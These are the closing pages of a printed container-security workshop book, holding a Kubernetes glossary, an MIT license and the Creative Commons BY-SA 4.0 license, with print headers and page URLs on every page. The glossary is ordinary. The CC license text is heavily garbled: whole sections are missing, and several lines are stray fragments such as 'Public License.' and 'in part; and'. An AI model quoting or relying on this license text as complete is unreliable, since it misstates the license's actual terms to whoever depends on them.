Kubernetes Glossary
Annotation
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 149/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Cluster
A set of machines, called nodes, that run containerized applications managed by Kubernetes
Container
A lightweight and portable executable image that contains software and all of its dependencies
Controller
A control loop that watches the shared state of the cluster through the apiserver and makes
changes attempting to move the current state towards the desired state
CustomResourceDefinition
Custom code that defines a resource to add to your Kubernetes API server without building a
complete custom server
DaemonSet
Ensures a copy of a Pod is running across a set of nodes in a cluster
Deployment
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 150/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Extensions
Extensions are software components that extend and deeply integrate with Kubernetes to
support new types of hardware
Image
Stored instance of a container that holds a set of software needed to run an application
Init Container
One or more initialization containers that must run to completion before any app containers
run
Job
A finite or batch task that runs to completion
Kubectl
A command line tool for communicating with a Kubernetes API server
Kubelet
An agent that runs on each node in the cluster. It makes sure that containers are running in a
pod
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 151/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Kubernetes API
The application that serves Kubernetes functionality through a RESTful interface and stores the
state of the cluster
Label
Tags objects with identifying attributes that are meaningful and relevant to users
Minikube
A tool for running Kubernetes locally
Name
A client-provided string that refers to an object in a resource URL, such as /api/v1/pods/some-
name
Namespace
An abstraction used by Kubernetes to support multiple virtual clusters on the same physical
cluster
Node
A node is a worker machine in Kubernetes
Pod
The smallest and simplest Kubernetes object. A Pod represents a set of running containers on
your cluster
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 152/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
ReplicaSet
ReplicaSet is the next-generation Replication Controller
Resource Quotas
Provides constraints that limit aggregate resource consumption per Namespace
Selector
Allows users to filter a list of resources based on labels
Service
An API object that describes how to access applications, such as a set of Pods , and can
describe ports and load-balancers
Service Account
Provides an identity for processes that run in a Pod
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 153/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
StatefulSet
Manages the deployment and scaling of a set of Pods , and provides guarantees about the
ordering and uniqueness of these Pods
Taint
A key-value pair and an effect to prevent the scheduling of pods on nodes or node groups
Toleration
A key-value pair and an effect to enable the scheduling of pods on nodes or node groups that
have a matching taints
UID
A Kubernetes systems-generated string to uniquely identify objects
Volume
A directory containing data, accessible to the containers in a pod
docker
Docker is a software technology providing operating-system-level virtualization also known as
containers
kube-apiserver
Component on the master that exposes the Kubernetes API. It is the front-end for the
Kubernetes control plane
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 154/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
kube-controller-manager
Component on the master that runs controllers
kube-proxy
kube-proxy is a network proxy that runs on each node in the cluster
References
https://kubernetes.io/docs/reference/glossary/?fundamental=true
License
MIT License
MIT License
Copyright (c) [2020] [Appsecco Ltd.]
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software
and associated documentation files (the "Software"), to deal
in the Software without restriction,
including without limitation the rights
to use, copy, modify, merge, publish, distribute,
sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or
substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A
PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN
AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 155/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
CC-BY-SA-LICENSE
Attribution-ShareAlike 4.0 International
=======================================================================
Creative Commons Corporation ("Creative Commons") is not a law firm and
does not provide
legal services or legal advice. Distribution of
Creative Commons public licenses does not create
a lawyer-client or
other relationship. Creative Commons makes its licenses and related
information available on an "as-is" basis. Creative Commons gives no
warranties regarding its
licenses, any material licensed under their
terms and conditions, or any related information.
Creative Commons
disclaims all liability for damages resulting from their use to the
fullest
extent possible.
Using Creative Commons Public Licenses
Creative Commons public licenses provide a standard set of terms and
conditions that creators
and other rights holders may use to share
original works of authorship and other material
subject to copyright
and certain other rights specified in the public license below. The
following
considerations are for informational purposes only, are not
exhaustive, and do not form part of
our licenses.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 156/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
wiki.creativecommons.org/Considerations_for_licensors
wiki.creativecommons.org/Considerations_for_licensees
=======================================================================
Creative Commons Attribution-ShareAlike 4.0 International Public
License
By exercising the Licensed Rights (defined below), You accept and agree
to be bound by the
terms and conditions of this Creative Commons
Attribution-ShareAlike 4.0 International Public
License ("Public
License"). To the extent this Public License may be interpreted as a
contract,
You are granted the Licensed Rights in consideration of Your
acceptance of these terms and
conditions, and the Licensor grants You
such rights in consideration of benefits the Licensor
receives from
making the Licensed Material available under these terms and
conditions.
Section 1 -- Definitions.
a. Adapted Material means material subject to Copyright and Similar
Rights that is derived from
or based upon the Licensed Material
and in which the Licensed Material is translated, altered,
arranged, transformed, or otherwise modified in a manner requiring
permission under the
Copyright and Similar Rights held by the
Licensor. For purposes of this Public License, where
the Licensed
Material is a musical work, performance, or sound recording,
Adapted Material is
always produced where the Licensed Material is
synched in timed relation with a moving image.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 157/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Section 2 -- Scope.
a. License grant.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 159/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
in part; and
License does not apply, and You do not need to comply with
6(a).
5. Downstream recipients.
Public License.
Material.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 160/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
b. Other rights.
Public License.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 161/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
designated);
warranties;
information.
reasonably practicable.
b. ShareAlike.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 162/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
2. You must include the text of, or the URI or hyperlink to, the
c. You must comply with the conditions in Section 3(a) if You Share
all or a substantial portion of
the contents of the database.
For the avoidance of doubt, this Section 4 supplements and does not
replace Your obligations
under this Public License where the Licensed
Rights include other Copyright and Similar Rights.
Section 5 -- Disclaimer of Warranties and Limitation of Liability.
a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
EXTENT
POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
AND AS-AVAILABLE, AND
MAKES NO REPRESENTATIONS OR WARRANTIES OF
ANY KIND CONCERNING THE LICENSED
MATERIAL, WHETHER EXPRESS,
IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT
LIMITATION,
WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
PURPOSE,
NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
ACCURACY, OR THE PRESENCE
OR ABSENCE OF ERRORS, WHETHER OR NOT
KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS
OF WARRANTIES ARE NOT
ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO
YOU.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 163/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
violation; or
For the avoidance of doubt, this Section 6(b) does not affect any
right the Licensor may have to seek remedies for Your violations
c. For the avoidance of doubt, the Licensor may also offer the
Licensed Material under separate
terms or conditions or stop
distributing the Licensed Material at any time; however, doing so
will not terminate this Public License.
d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
License.
Section 7 -- Other Terms and Conditions.
a. The Licensor shall not be bound by any additional or different
terms or conditions
communicated by You unless expressly agreed.
b. Any arrangements, understandings, or agreements regarding the
Licensed Material not
stated herein are separate from and
independent of the terms and conditions of this Public
License.
Section 8 -- Interpretation.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 164/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
a. For the avoidance of doubt, this Public License does not, and
shall not be interpreted to,
reduce, limit, restrict, or impose
conditions on any use of the Licensed Material that could
lawfully
be made without permission under this Public License.
b. To the extent possible, if any provision of this Public License is
deemed unenforceable, it
shall be automatically reformed to the
minimum extent necessary to make it enforceable. If the
provision
cannot be reformed, it shall be severed from this Public License
without affecting the
enforceability of the remaining terms and
conditions.
c. No term or condition of this Public License will be waived and no
failure to comply consented
to unless expressly agreed to by the
Licensor.
d. Nothing in this Public License constitutes or may be interpreted
as a limitation upon, or
waiver of, any privileges and immunities
that apply to the Licensor or You, including from the
legal
processes of any jurisdiction or authority.
=======================================================================
Creative Commons is not a party to its public licenses.
Notwithstanding, Creative Commons
may elect to apply one of its public
licenses to material it publishes and in those instances will
be
considered the “Licensor.” The text of the Creative Commons public
licenses is dedicated to
the public domain under the CC0 Public Domain
Dedication. Except for the limited purpose of
indicating that material
is shared under a Creative Commons public license or as otherwise
permitted by the Creative Commons policies published at
creativecommons.org/policies,
Creative Commons does not authorize the
use of the trademark "Creative Commons" or any
other trademark or logo
of Creative Commons without its prior written consent including,
without limitation, in connection with any unauthorized modifications
to any of its public
licenses or any other arrangements,
understandings, or agreements concerning use of licensed
material. For
the avoidance of doubt, this paragraph does not form part of the public
licenses.
Creative Commons may be contacted at creativecommons.org.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 165/165